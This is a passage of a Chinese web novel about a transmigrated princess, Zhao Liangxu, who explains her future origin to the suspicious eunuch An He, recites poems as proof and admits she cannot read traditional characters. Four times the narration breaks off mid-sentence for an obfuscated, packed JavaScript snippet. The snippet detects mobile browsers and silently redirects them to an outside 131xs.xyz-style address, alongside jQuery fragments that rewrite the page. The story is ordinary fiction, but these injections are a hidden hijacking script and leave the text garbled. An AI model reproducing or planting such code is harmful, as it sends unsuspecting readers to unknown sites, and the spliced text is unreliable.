她是一个不够机灵的人,没人会太过在意她,没有人正视她,可以说她一直是一个透明的存在,透明有好有坏,她一个北周人在南周能安生活下来是透明的功劳,但也因为她是一个无足轻重的普通人,她不会有任何人的庇护。
现在眼前的赵凉絮愿意平视她,怎么能不触动。
“公,公主,奴婢一直都愿意真心侍奉公主!谢谢公主,谢谢公主愿意这样待我。”
她既恐惧于刚刚失言又感动于赵凉絮的真心话,许多情绪揉杂着,让她眼泪止不住的落下。
听到竹木的回答,赵凉絮很开心。
她一直没什么情绪表露的脸上也显出了明显的笑意,嘴角幅度不小的勾起,眼睛也透着笑意变得如月牙的弯翘。
赵凉絮轻轻安慰着竹木。
她将竹木扶起来,站起身来的同时她的肚子不合时宜“咕噜”叫了一声。
竹木重重抹去脸上的眼泪,双眼通红的对赵凉絮说:
“公主,我去给您拿吃的!”
说罢不等赵凉絮回话,就小跑离开。
看着竹木离开的身影逐渐远去,赵凉絮叹息了一声,转身坐回了竹椅上。
她摆弄着旁边木桌上的简陋茶具,脑海里又想起刚刚竹木的眼神。
她对生存的欲望让人动容。
临近夜晚,安和的亲信张盛来领着赵凉絮去安和的书房。
纵使赵凉絮再不情愿,但为了自己的小命,也只好顺从的跟着去。
这次前去自然是没有轿子的,当时那个轿子也不过是周锋特地为这份礼物提供的“包装盒”罢了,正常生活中谁天天用轿子来在自家代步呢?
为了带路,张盛自然是走在赵凉絮前边,本来依照规矩,一般下人是不能走在客人主人面前,但赵凉絮现在的身份不好说究竟属于什么,也就没那么多讲究。
这一路上除了张盛还有其他两个侍卫跟在赵凉絮后边,几个人走着都不作声,安府点的灯又散发着昏黄的光,他们这样子走过去像在赶尸一样。
虽然赵凉絮并不怎么愿意和陌生人交流,但为了缓解一下气氛顺便打探一下情报,她还是不得不开口。
方才张盛已经做了自我介绍,赵凉絮直接问道:“张公公,安公公他会让人随便进他的书房吗?”
小说里都这样说,这样阴鸷性格的人,恐怕都不会让别人随便进他的书房一类的私人居所吧。
张盛有些惊讶,细声回答:“赵公主,您客气了,干爹的书房自然不会让人随便进,我们是有传唤的时候才能进去。但您是干爹亲自吩咐过的,自然能进的。”
“那与安公公交流有什么需要小心忌讳的地方吗?你也知道,我肯定是不希望不小心说了哪句话、做了哪件事惹的安公公不快的。”
“……赵公主,您只需要按干爹吩咐的话做事就行。其他的,咱们也不能跟您说。”张盛听到赵凉絮的问题时,先是沉默了一瞬才回答了这个问题,沉默的时候他脸上表情扭曲了一下,不过并没有被赵凉絮看见。
若说是小心忌讳的地方,那可真是多了,稍有不慎就会被责罚。
安府可不是什么养老的地方。
至于惹安和生气这点,确实像他说的那样,只要按吩咐完成任务,安和一般不会生气,但至于这个吩咐有多苛刻,他就不好说了,只要有一点差错,恐怕干爹就会找机会杀掉赵凉絮。
毕竟,这样一个不知目的的女人出现在安府,就是一个定时炸弹,安和可不会怜香惜玉。其他人或许会觉得赵凉絮当晚没有被立刻处死,安和的确对她有些不一般,没准真是个安府的例外。
但以张盛的想法来看,能让赵凉絮活着的也不过是她作为曾经北周公主的特殊性,以及安和的一时兴起罢了。
到了书房后,张盛对着紧闭的房门行礼问道:“干爹,人已经到了。”
屋内沉默了一会,传出一个沙哑的声音。
“让她进来。”
张盛向旁边迈出一步,侧着身子给赵凉絮让路。
“赵公主,请。”
赵凉絮攥了攥拳头,后又撒开,伸出手小心的推开门进去。
刚进书房她就看到了安和低头坐在桌子后的身影,桌子上摆着纸墨等用具,还有一些印章和书卷一类的东西,摆的很是整齐。整个书房的书架上几乎摆满了书。
安和抬头看向赵凉絮,轻笑一声。
“赵公主,请吧,想看什么书随便拿,不要客气。”
安和指着书架,示意她随意拿书。
这太监真有这么好心?明明白天听到自己说的话时还误会的不得了,以为自己是细作。
赵凉絮迟疑看着他,没有动弹。
安和看赵凉絮只是站在门边探究般看着他,并没有动作,他刚刚摆出的轻柔微笑忽然变成狠厉的表情:“赵公主为什么不找书?是咱家这里的书不够吗?没有你想看的?”
“还是说......你找的东西不在这?”
这神经病,又变脸。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042302|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赵凉絮在心中吐槽着,她也知道安和将她叫来书房的目的了,当她是周锋派来渗透安府的人了。
这狡猾的太监,还真是疑心重。
她略有些无语,但当下只能对安和解释。
“安公公,既然您了解我的情况,那我可否斗胆以我的前北周公主身份为保证,请求你来听一下我的解释呢?”
她仰着头看向安和,尽量保持冷静的表情。她需要表现出自己让人信服的一面,让自己的话值得被听。
按照以往,安和当然不会听解释,叫赵凉絮过来本就是为了拷问她,如果她表现出一点不对劲他就会找个理由杀了她,就算这亡国公主身份有些特殊,但他可是当朝最有权有势的几人之一,杀就杀了,又有谁能质疑他?
纵使她在某些情况下有用,那没了她的助力也无非是多些麻烦罢了。
赵凉絮说到底是北周之人,说不准她被送到安府就是为了盗取机密传给北周余孽,企图复国。
若不是这个原因,单就论她是由周锋送过来的,他就敢怀疑周锋指挥赵凉絮在安府做卧底,将安府内的事透露出去,无论是他国细作还是周锋棋子,宁可错杀也不放过似乎都是一个不错的选择。
但今天,他看着赵凉絮摆出来的一副不急不忙的冷静表情,只觉得荒谬,他当然看的出来赵凉絮只是强装镇定,能站到他这个位置,这点本事没有怎么行?
任何一个人摆出这幅强装镇定的样子,他都看都不想看一眼,也并不想理睬这个解释。
但是赵凉絮,他当然了解,来自北周的质子公主,他在还是普通太监的时候见过这位公主许多次,也深知赵凉絮的性格。
曾经的质子公主,外表华丽张扬,以姿色闻名,以对下人的刻薄和刁难闻名,以对权贵皇室的阿谀奉承闻名,内里毫无值得夸赞的品行,她曾经惹恼过礼部尚书的独生子,当得知独生子的身份后,她毫不顾及脸皮的改变态度,跪在地上请求饶恕,其姿态之卑微,令人惊叹。
而如今,即便是这样强装镇定,为自己的性命努力寻求活路,也断不是那位质子公主所能表现出来的。
这完全不是安和记忆里的赵凉絮。他也想过是否是回北周后的一年里发生了什么事改变了她,最有可能的便是亡国的原因让她性情大变。
但,甚至在十天前那个晚上,赵凉絮毫无防备地在他床上睡着,被他弄醒后那双浅淡夹杂着不满的眸子,她表现出来的情绪波动和不卑不亢的回复,也绝对不是什么性情大变所能解释的。
一个人,真的会变得这么彻底吗?
所以他很好奇,眼前这个不卑不亢的女子,到底是经历了什么未知变故的质子公主,还是说,其实是其他人伪装成了赵凉絮来接近他。
……但一个人究竟怎么做到在长相上伪装的如此像?
安和搞不清楚,也格外好奇这件事,因此他大方地对赵凉絮表示:“咱家就听听,你能解释出个什么花儿来。”
5. 坦白
赵凉絮垂眸,晓之以理动之以情:“安公公您也知道的,我如今不过是一个失了亲人失去家乡的一介草民,你们口中的‘赵公主’也不过是一个名存实亡的称号,国破之后我已经无去处,只能不断逃亡,可我这样的弱女子在这乱世中又如何自保,也不过是成为你们权力交锋的消耗品罢了。”
“我被那些恶人拖到破庙行凶是十天前,周锋发现我心生歹计将我送与你同样是十天前,短短不到一天时间,即便周锋想要指使我在这府中找些什么做些什么,但我无牵无挂,他又能拿出什么让我为他卖命?”
赵凉絮句句诚恳,毕竟原身家人也就是北周皇族,现如今死的死,逃的逃,就算还有活下来的皇族,与原身也并不亲近,赵凉絮没什么理由寻他们保他们。
以及,她的那些兄弟姐妹们现在的身份不过是南周仇敌,周锋发现了恐怕第一个将他们拿下。
“哦?赵公主无牵无挂吗?难道赵公主也不牵挂你自己的命吗?为了活下去替周锋卖命,想来是个很正当的理由。”
安和冷笑,赵凉絮说的那些话不假,但不全,她与周锋最可能的交易就是她自身的性命,而且……
“前几日那老婆子检查出来你的情况,万一这情况也不过是你狠心伪装出来的呢?我可不知道你十日以前在何处,也许你早就藏在丞相府里与他勾结了。”
为了活下去,一个人是能做的很绝的。
他在宫中当了许多年太监,处于宫廷中最底层的位置,当然见过许多人为了活命做过多狠绝的事了。
说到底,若是狠下心来,什么东西都算是身外之物。
呵,他可再清楚不过。
赵凉絮确实没办法解释十天以前她在哪里,毕竟知道她独自逃亡,知晓她行踪的只有她自己。
“我的确无法证明自己所言真实性,唯有周锋知道我所说的是真的,但安公公您必然不信他。”
见赵凉絮也承认,再没话说,安和脸上浮出胜利的笑意,按照以往,这时候他早就将赵凉絮这样的人处死。
但现在他有一个更好奇的东西想要知道,他的眼珠左右转动几下说道:“想你也没什么能证明的。暂且将这些放着不管,咱家倒是想问问,赵公主在这段日子中成熟稳重了许多啊。”
“咱家看着,如今的赵公主沉稳冷静,全然不像曾经的赵公主那样活泼开朗、张牙舞爪、直言不讳、欺软怕硬啊。”
安和一字一句将这些话说出来,盯着赵凉絮的神色,饶有兴致的看着她的表情变化。
即便是赵凉絮,在听到安和的话后,瞳孔也不禁轻微收缩。
她没想到,安和竟然这么敏锐,明明安和并没有真正见过曾经赵凉絮几面,按理来说他对赵凉絮并不熟悉,却又在几次短暂的交流中察觉到赵凉絮性格的改变。
赵凉絮不动声色地解释:“我与安公公并没见过几面,安公公对我有所误解也是应该的,身在异国为质子,对待旁人总应该要谨慎一些,如果旁人认为我多思多虑的话,只怕会让我的处境更为难。您说是吧,安公公。”
言下之意,她本性是如今表现的这样,曾经那些世人对她的印象不过是伪装出来的。反正解释权在她,安和也并不知道她内心所想。
安和自然没有忽视赵凉絮细微的表情变化,他右手撑着下巴,左手在桌子上有频率的敲动着。
“赵公主真觉得咱家不了解你吗?或许赵公主忘了,赵公主五年前也是个格外嚣张跋扈的主儿。”
安和顿了一下,留给赵凉絮反应:“那时候您可是好生惩罚了一下咱家呢。”
安和微眯着眼睛,像阴毒的蛇一样盯着赵凉絮,他绝不是个好人,每个在他落魄时欺辱他的人,安和都记得一清二数,他将那些不堪的言语、承受的疼痛都深深烙印在记忆里,在他一点点爬上权力顶峰的过程中,那些人一个也逃不了。
“赵公主恐怕不了解,咱家这些年是如何坐到这个位置的,若是咱家连赵公主的秉性都不清楚,这掌印太监的位置咱家恐怕是白坐了。”
听到这些话,赵凉絮就知道安和肯定对自己有所怀疑,甚至笃定了一些东西。
她现在无论如何解释对方恐怕也不太相信了。
其实她还可以咬定自己的变化只是经历了太多的事导致的,安和也没什么可说的,但一味这样坚持只会激怒安和,而后结局便可想而知。
况且,赵凉絮心中略有些苦闷,她若是一直伪装成另一个人的样子会给心理造成很大负担的。
重新拥有一次生命,至少不该是憋闷的。
她心中已经有了一个大胆的想法。
赵凉絮没再继续争下去,稍微松懈了一下说:“对,安公公,我不是赵凉絮,却也是赵凉絮。”
赵凉絮随意跪坐在地上,也没有刚刚那种绷紧的状态,用轻微放松的语气说了一句不着边的话。
什么叫是也不是?
安和发觉眼前的赵凉絮有些不同了,他照着赵凉絮的话问道:
“哦?莫非你是同名之人?可世上怎会有同名又同样貌的人呢,你莫不是在诓骗咱家吧。”
他有些感兴趣了,他站起身走到赵凉絮身前,以一种俯视的状态盯着她。
“那么赵凉絮,你来好好讲讲,你到底是个什么人。讲的让咱家高兴了,咱家或许
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042303|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会考虑原谅你冒名顶替赵公主欺骗咱家的罪名。”
赵凉絮忽然觉得很好笑,自己的性命就这样轻易的握在安和手上,她又要为了自己的性命努力讨好他,这种微妙的感觉让她觉得很烦躁。
她不应该这样卑微地在安和手上乞讨生命,于是她毫不在意地轻拽安和的衣角,抬眸直视安和,轻声要求:
“想听故事就要摆出想听故事的姿态,不如请安公公屈尊坐下来听呢?”
这样僭越的话和动作本应该惹他生气,但看着赵凉絮那双含着淡漠笑意的眼睛,他发现,这个赵凉絮,似乎又不是太在意她自己的生命了,和三天前那个散发求生意愿的她又变得截然不同,真是让人惊讶。
鬼使神差的,安和依着衣摆的力度顺势坐了下来,他平视着赵凉絮。
他刚坐下就反应过来,将攥在赵凉絮手心里的衣角拽出来,扯着嘶哑的声音皱眉道:“真是不懂规矩。”
看着刚刚还笑意盈盈的安和被自己拽到地上然后秒变脸,赵凉絮吐槽:“您还真是阴晴不定。”
然后安和的脸肉眼可见的阴沉,他真是疯了才会为了听些虚无缥缈的故事这样容忍赵凉絮的僭越。
安和想站起来,然后让外边候着的张盛将赵凉絮拖出去,赵凉絮又拽住安和的袖子:“安公公还没听就要走?别是恼羞成怒就要杀了我吧。”
赵凉絮没等安和发更大的火,自顾自的说起自己。
“我呢,就是叫赵凉絮,只不过我是不小心用了赵公主的身体罢了。或者说,是另一个赵凉絮的灵魂占据这位赵公主的身体。”
“很可怕吧?你是不是觉得我是哪里来的冤魂附身在赵公主身上?
“哦,你相信鬼怪之说吗?也许我就是那种孤魂野鬼,来索人世间活人的命了。”
赵凉絮嘴角带着一抹浅淡的笑,这样的话放在这样封建迷信的古代足够吓坏一群人了。
安和的确被这句话惊到,他也并没有再试图起身,而是惊疑地看着赵凉絮,试图找到她说谎的痕迹。
但是没有。
她一副理所当然的样子。
安和作为上位者,他知道许多神鬼之说都是他人为了达到目的刻意摆弄出来的手段罢了。
这种东西,无非是个念想,若做了什么亏心事,自然会害怕有鬼,也会祈求神佛原谅。
但他也的确猜测过是不是真有什么邪门东西附身在赵凉絮身上,才让她性情大变。
如今听到赵凉絮亲口说出来,他觉得荒谬,又十分合理。
赵凉絮看了眼安和的表情,脸上若有若无的笑意渐渐放大,覆盖了平日里淡漠平静的表情。
6. 感兴趣
“安公公知道吗?我或许来自一个很远的未来。”
“那里有在天上飞的飞机,有几十层高的高楼大厦,有很多和这儿完全不一样的东西和观念。”
赵凉絮也不管安和信不信,自己说的倒是开心。
安和眼底含着说不清道不明的情绪看着赵凉絮,他对赵凉絮的由来依旧半信半疑。
“我年纪轻轻便得了绝症,是最难治的绝症,从确诊到死亡也不过五个月,还是坚持的比较久的了,自从开始治疗,我身上的肉就像被鬼一口口吃掉了一样,每天早上都会变得更瘦、更痛。”
“也没什么力气在太阳底下走动,吃不了什么东西,我死前还说呢,我好想再活一次。”
赵凉絮脸上的笑容仍像刚刚一样,充满绚烂又夹带一丝阴郁。
“也许正是那时候的想法,不知道被哪个神仙精怪听见了吧,我来到了这里,我的灵魂附身到这位公主身上,这种情况在我们那里叫“穿越”。但是很不幸,我一穿越到这里,这具身体就面临着十分悲哀的处境,被三个恶心的家伙觊觎。”
赵凉絮笑容变淡,眼中露出嫌恶,显然,她对那三个人十分厌恶。
“但那又怎样,他们拦不住我。”拦不住我要活下去的心。
安和思索着,他认为这件事还是有些离奇了,他不想相信,但他又觉得这样是合理的;若是相信,他又觉得自己像个傻子。
“你说,你来自很远的未来,未来有什么?你总得讲些有用的东西证明你自己。”安和想要了解更多细节,这样可以更好辨认赵凉絮到底是不是编的。
“……啊,我好像一时想不出来有什么有用的东西。”
赵凉絮嘀咕了几声,作思考状。
她一个普普通通的人哪里能找出一些奇怪的东西证明自己来自未来,思来想去也就是一些化学实验可以唬得住他了吧。
但是她又不学化学,初中学的那点知识早就忘没了。
“想不出来的话,咱家可以认为你之前说的都是胡话了。”安和冷声威胁。
赵凉絮苦恼:“我就算来自未来也是许多人里的普通一个,专业的事该由专业的人来做,你是太监就会对宫中的规矩了如指掌,可也不知道司天监是如何运作的啊。”
安和眉头抽动,“太监”两个字就这么轻而易举在她嘴里吐了出来,被其他字又盖了过去。
“哦对了,你知道荒地的鬼火吗?”
赵凉絮随意多了,没注意到安和的变化,想起来鬼火的科学解释,但是不知道安和会不会相信,毕竟他也无法验证。
“夏日坟地的鬼火并不是真的鬼神,而是人死后尸体腐烂,腐烂分解的物质和土地里的物质结合后形成一种十分容易点燃的物质,夏天的温度就足以让其自燃,所以才有鬼火。”
赵凉絮一边回忆着脑子里为数不多的知识,一边向安和描述,她说完这句话后看向安和。
很好,安和的脸阴沉的可怕。
“你当我傻是吗?话是你嘴里说的,我现在也无法验证真假,任凭你一张嘴。”
安和气的“咱家”的口头禅都不说了。
赵凉絮叹息一口气,真不好糊弄。
“嗯……那我再吟诗几首?安公公莫生气,诗风如何安公公应该是听的出来的。”
赵凉絮将脑海里想的出来的诗词一连串背了一遍,从《诗经》到明清时期的诗词想到什么背什么,这些诗词风格不同形式不同,以古人对诗词的造诣,必然能听出不同的诗句不是一人所作。
前提是安和是个文学素养较高的太监。
安和本来并不耐烦,他几乎想直接让侍卫将这个满口胡言的赵凉絮拖出去,但随着赵凉絮叽里咕噜背了一通,他的表情有所变化。
赵凉絮口中的确是不同人所作诗篇,这些诗句韵味气势各有不同,他都没有听过,其中几篇诗风和往世当世的著名诗人词人风格多有相似,但并不是他们所作。
比如那“天生我材必有用,千金散尽还复来”和曾经历史上的著名诗人白木子诗风极其相似,但安和笃定白木子并没有作过这首诗。
以安和的见解来说,这些诗绝非一人所作,并且近些年文坛风格有变,正进行着诗作为主转向诗词兼顾的变革,词作为曾经不入流的风月之作正逐渐变为文人墨客也乐得使用的格式,而赵凉絮刚刚所背诵的词中有些作品俨然成熟大气,已成流派了。
这像是赵凉絮预测了未来的文坛走向一般。
这下,安和倒真有点相信赵凉絮是来自未来了。
“呵,你应该感谢咱家对诗词还有所研究,若是咱家只识些字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042304|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不懂这些诗词,想必你今天是没办法活着回去见你的下人了。”
安和又轻抚手上扳指,心情似乎又好了起来。
“咱家相信你所背诗篇能够证明你的身份,只是你这毫无情感的背记简直侮辱了这些优秀的作品。”他也算个热爱文学的人,实在不能容忍赵凉絮毫无节律一板一眼的说出那些佳作。
这就相信了?
赵凉絮有些诧异,安和就凭这些诗词就笃定她来自未来吗?
“你这就信我了?”
赵凉絮将心中疑惑说出,安和这样心思缜密的太监就这么轻易相信别人吗。
安和站起身来,撇了眼赵凉絮。
“想的倒是美,咱家当然不会完全相信你,不过你所说的也颇为有趣,日后你就好好回忆你脑子里那些有趣的东西讲给咱家听,来证明你来自所谓的‘未来’吧,若是不能让咱家感兴趣……”言语中威胁毫不掩饰。
得,信了,但没完全信。
将她留下可能只是因为自己说的东西好玩,当个乐儿听吧。
也行,反正活下来了。
刚刚僭越的动作和语言的确是她不想要再装作屈躬卑膝的样子了,她毕竟来自一个平等的时代,刚到这个地方要学着对他人摇尾乞怜,她并不乐意。
不过冷静下来想想,这种事情也是不可避免的,毕竟在这个地方,一个不慎就是杖毙或掉脑袋。
她没必要摆出过于谄媚的姿态,但一定需要谨慎的活动。
而安和似乎乐于留下自己,听自己讲故事,他是有些阴晴不定,但也没有外界传的那样青面獠牙不分青红皂白,并非不能交流。
只不过,交流很困难就是了。
安和转过身来,看着还跪坐在地上发呆的赵凉絮,她似乎又回到了平日里淡漠的表情,丝毫看不出刚刚她还露出那种有些渗人的笑。
想到那个笑容,安和有些诡异的觉得,那张漂亮的脸上带着那种阴郁的笑竟然有种别样的吸引力。
他忽然想到一个刚刚没有问出的问题,既然是附身的灵魂,那赵凉絮曾经的脸和如今赵公主的脸,是一样的吗?
安和闭上眼,把那些奇怪的想法驱散。
“赵公主,还坐着干什么,你白天不是说要看书吗,咱家书房有的是书,尽情挑。”
7. 文盲
听到这话,赵凉絮麻溜站起来,拍了拍身上的灰尘,像个真正的公主一样不紧不慢行了个礼。
“多谢安公公。”
赵凉絮看向摆满书的书架,随意挑了一处走过去,然后站在书架前仔细挑选。
她不太喜欢看过于严肃的书,想挑些有故事的书来看,但赵凉絮挑出来几本,发现都是什么《X子兵法》《XX经》一类很有深意和学说的书籍,但不是赵凉絮想看的。
她挑来挑去最终选中一本《夜行录》,这本书名字倒是挺好听,猜测着也不像是什么严肃的书,赵凉絮抽出这本书随便翻阅了几下,指尖忽然顿住。
赵凉絮像卡了壳一样呆了几秒,正巧安和看向她那边,发现赵凉絮已经选好一本书呆呆看着,他肯定是要知道赵凉絮选的书是什么的。
“赵公主,选的什么书总要给咱家过目一下吧。”
虽然书房大多数书安和都看过,但一些想巴结他的官员有时会投其所好,特意搜刮珍惜书籍送给他,他也没道理拒绝。
所以这书房里有一小部分是他没看过的,但都会让张盛仔细翻阅一遍,检查是否有纰漏。
赵凉絮挪步到安和面前,将书递给他。
她看了看这本书,又看了看拿着这本书的安和,感到有些棘手。她有件事不知道当讲不当讲。
她盯着安和翻阅时的侧脸发呆,在纠结要不要告诉他一件事,但又觉得这样的事说出来还挺尴尬。
她思考的太过专注以至于没注意到安和已经放下书抬头看她。
安和看了几页就知道这书记录的是前朝的野史,都是一些没有根据的乱说,他刚想抬头讽刺几句赵凉絮的择书观,却发现赵凉絮抿着嘴唇盯着他,安和嘴里的话被噎了回去。
但过了一两秒安和发现赵凉絮只是目光游离的发呆,他觉得好笑,问道:“赵公主真是心大,就这么点功夫都敢发呆。”
赵凉絮被安和一提醒,回过神来,有些为难的看着安和。
安和以为赵凉絮是因为选这种无营养的书感到不好意思,嗤笑着:“咱家就听你先前背的那些诗就知道你是个不懂这些的人,也就看看这种乱编的故事了。”
他将书又还给赵凉絮,表示他宽宏大量,允许赵凉絮读这本书。
但是张盛这群不中用的家伙,竟然连这种书都往他书房里纳,真是该好好敲打,他从来不对这些野史感兴趣,不屑于一读。
赵凉絮将书按在桌面上,终于决定说出她刚刚思虑的事。
“安公公,我…不太识字。”
是的,她一个来着现代、整日写着规整的方块字的年轻知识分子,她来到古代,变成文盲了。
其实也不完全算文盲,她只是不太熟悉繁体字,虽说不是完全不认识,但是古代从上向下写从右到左读的习惯,加上占据了大部分篇幅的繁体字,着实让她苦恼,她和文盲也几乎无异了。
“我记得无论是北周皇族还是来到我国的质子身份,都有资格上学堂的吧!”安和听到赵凉絮的话,只觉得荒谬。
怎么可能不识字,这是贵族基本要学的东西!
连太监都有学堂,她怎么可能不识字?
赵凉絮眼神飘忽:“但是我又不是真的赵公主,我学的都是简体字,繁体不认识也是情有可原吧。”
“繁体?你给我指一下,哪些字是繁体,这些字看着都简单至极,还有什么简化之说。”
安和被赵凉絮所言震惊,如今这些字哪个不是一顶一的完美,安和想不出来还有什么可简化的。
赵凉絮有些不自然地指出几个字,这样显得她真的很文盲。
“葉”“歎”“撃”,她只随便指出几个,这些字她看着很熟悉,往常看些繁体字幕她倒是能根据前后文分析出大概意思,但是这本书是古文,很多地方虚头巴脑的也不知道在讲什么。
安和抬头看了看她,还是惊讶于她不认识这些字。
“葉是树叶的叶,歎是叹气的叹,撃是击打的击,你当真不认识?”
“这还能有假,那安公公能认识千百年前的甲骨文吗?”
甲骨文又是什么东西?
安和直接问出来了。
赵凉絮讶然,拍了拍脑袋:“大概看作篆书、金文一般古早的字体就行。”
安和鼻尖一哼,他知道这些。
这样想来确实有些道理。
“我倒是有点好奇这三个字按照你的写法是如何,来,你写出来让咱家看看。”
安和大方的指着笔墨示意赵凉絮随意用,反正现在桌子上没什么要紧东西。
赵凉絮闻言,也不含糊地拿起一支毛笔,回忆了一下古人握笔的姿势,便开始写。
只是她也不是什么书法大家,小时候学过一些毛笔课程,但早就还给了老师,她学着记忆里的蘸墨方式,生疏地在纸上落笔。
赵凉絮垂眸思索,眉眼低垂,乌亮的发丝从肩膀滑落到桌面纸面上,曾经的赵公主张扬美艳,如今壳子里换了一个人,与之前的俗气美艳不同,如今的她整个人都透露出无所谓的淡然气质,着实清丽动人。
如今的模样,倒是比曾经的赵公主看起来更美一些。
很快赵凉絮就写完三个字,她将纸向安和出挪了挪,展示给安和看。
安和看着赵凉絮写出来的三个大字,力度深浅不一,一些地方着墨极多,黑墨在纸上晕染出一片颇有格调的痕迹……如果这些痕迹不是几乎掩盖了字的话。
写的简直不如三岁小孩。
“赵公主,难不成你连如何写字都没学过?”安和犀利的指出这个疑惑。
赵凉絮撇了撇嘴,又重新在角落写出这三个字,这次她熟悉了毛笔的手感,写出来的字工整了许多。
“安公公,其实在我那个时候,毛笔字只是兴趣,我们大都用硬笔写字。”
她一边指着写出来的简体字,一边解释:“你看,‘叶’‘叹’‘击’三个字,比你写的简单许多。”
“简单是简单,你们平日都写这样简单的字?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042305|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”没想到日后的字变化了这么多,也不知未来的人是有多忙,竟然还要在字的简化上下一番功夫。
“其实也有笔画多的,比如‘繁’,一些字并没有简化,和曾经的字无异。”
说着,赵凉絮又想提笔写字,安和连忙制止住,他不太想看到如同稚儿般的字。
安和看着赵凉絮还手握毛笔,对《夜行录》里的文字若有所思的样子,一个想法忽然涌上心头。
他曾经为了爬上秉笔太监掌印太监的位置,一直不忘练字读文,本来只是为了能在皇帝面前更好的搭话,有资格秉笔,但读书过程中他发现一些文官在朝廷上讲的东西和他所思颇有出入。
他愈发学习诗书兵法,倒也让他学出了一番成就,看着赵凉絮近乎文盲的表现,忽然让他生发出为人师的想法。
“不识字的话你也看不了什么书,不如咱家屈尊教导你学点东西。”
“嗯好……啊?”
赵凉絮觉得自己听错了,他要教导什么?教我识字吗?
“不用了安公公,我能自己学的。”
赵凉絮婉拒,她多看一看也是能摸索熟悉的。
“你自己学?你是要自己参悟吗?”安和以一种不容置喙的语气命令道:“你可以拒绝试试。”
他作出“请”的动作,大有一副你“试试就逝世”的玩味。
“那安公公准备怎么教我。”
赵凉絮很怀疑,以安和这奇葩性子,自己还没学什么呢,他就能挑刺挑的自己气死自己。
赵凉絮双手举到肩膀高,极不走心的“投降”:“安公公,大家都老大不小了,你若是真教导我的话,总有些不自在不是吗?要不我们各退一步,我有不认识的字来问你,你顺便告诉我就得了,这样一来我也算是从你这里学到东西,同时也不会耽误你时间。”
她自觉提出了一个双方都满意的方法。
安和皱眉,他难得有兴致抽出时间来教导人,她竟然不领情。
如今京城哪一个人不是削尖了脑袋想和他搭上关系,穷尽财力物力只愿得他些好处,就连和他说上一句都能吹嘘许久。
要是换另一个人听到安和的话,只怕跪下来感激都来不及,这个赵凉絮竟然如此搪塞他。
赵凉絮摆出一副疑惑的模样,认真求教。
安和被这副模样噎住,扫视了赵凉絮一眼:“哼,咱家不过说着玩,你就当真了,咱家的时间可是很宝贵的。”
赵凉絮挑眉。
就当你说的是真的吧。
安和看着赵凉絮气就不打一处来,挥手让她拿着书离自己远点。
赵凉絮顺从地将书从桌子上捞走,走到了一个离安和远一些的角落席地而坐。
现在书有些难读懂,她就当个乐子看了,总不能一个字都不认识,她靠东猜西猜也能猜出个故事来。
反正她看书也是一目多行,看个兴趣罢了。
赵凉絮背靠着墙,将书放在腿上,找了个最舒适的姿势翻到第一页开始看。
8. 鼻血
赵凉絮旁边的烛灯罩在黄色的纸罩中,正好给她提供了一个合适的护眼灯光,她一边看着,手指一边无意识的摩挲纸页,偶尔一个姿势坐累了,就挪动身体再换一个舒适的姿势继续看。
随着时间过去,烛火的影子在书页上摇曳,赵凉絮也逐渐萌生睡意。
她看的不多,毕竟字和句子的意思她半猜半蒙,与其说看故事,倒不如说她梦回高中学习语文,加上夜晚的加持,她越来越困也是情理之中。
赵凉絮打了个哈欠,揉了揉泛着泪光的眼睛,看向安和那边。
他在桌旁烛灯的映照下低着头不知在看什么,但他手指不时翻动书页的动作和轻响也证明他并没有入睡。
赵凉絮自见到安和的第一面就觉得有些惊讶,毕竟一个手握大权的权宦“九千岁”,这样一个响亮的名号,第一时间在赵凉絮脑子里编织出的是一个阴狠狡诈面色阴柔的老太监形象,或许身上应该带着些戾气。
但是安和看起来那么年轻,皮肤干净白皙显得他十分清秀,如果忽视他川剧变脸般的表情的话,他倒像是个唇红齿白的小生。
记忆里的那个还未成为掌印太监的安和,被原身责罚,只有一个单薄的背影。
仔细想想安和确实年轻,似乎只有二十左右的年纪,这么年轻的人能做到掌印太监的位置,也不知他是怎么办到的。
